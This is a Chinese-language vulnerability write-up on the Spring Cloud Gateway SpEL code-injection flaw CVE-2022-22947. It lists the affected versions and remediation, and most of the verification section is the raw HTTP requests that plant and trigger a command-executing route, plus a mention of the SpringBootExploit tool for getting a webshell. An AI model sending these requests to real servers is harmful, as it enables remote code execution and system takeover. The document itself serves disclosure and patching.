0x01 漏洞描述 - Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947) -
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。
漏洞版本:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的 Spring Cloud Gateway 版本
0x02 漏洞等级
0x03 漏洞验证 使用 dirsearch 等目录扫描工具对目标网站进行探测扫描,检测到存在 /actuator/gateway/routes
路径。
首先,添加一个执行系统命令 id 的恶意 SpEL 表达式的 test 路由,发送如下数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /actuator/gateway/routes/test HTTP/1.1 Host: www.luckysec.cn:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/json Content-Length: 329 { "id" : "hacktest" , "filters" : [{ "name" : "AddResponseHeader" , "args" : { "name" : "Result" , "value" : "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri" : "http://example.com" }
然后,应用刚添加的路由,将触发 SpEL 表达式的执行,发送如下数据包:
1 2 3 4 5 6 7 8 9 10 11 POST /actuator/gateway/refresh HTTP/1.1 Host: www.luckysec.cn:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
之后,访问 test 路由地址,查看命令执行结果,发送如下数据包:
1 2 3 4 5 6 7 8 9 10 11 GET /actuator/gateway/routes/test HTTP/1.1 Host: www.luckysec.cn:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
最后,删除所添加的 test 路由,发送如下数据包:
1 2 3 4 5 6 7 8 9 10 DELETE /actuator/gateway/routes/test HTTP/1.1 Host: www.luckysec.cn:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Length: 0
可利用 SpringBootExploit 工具,输入目标地址进行检测环境,使用 SpringCloudGateway 利用链获取目标服务器权限。
漏洞利用成功后,根据提示内容访问 webshell 地址,执行系统命令验证即可。
0x04 漏洞修复
更新升级 Spring Cloud Gateway 至最新版本。
在不影响业务的情况下,禁用 Gateway actuator 接口:如application.properties 中配置 management.endpoint.gateway.enabled 为 false。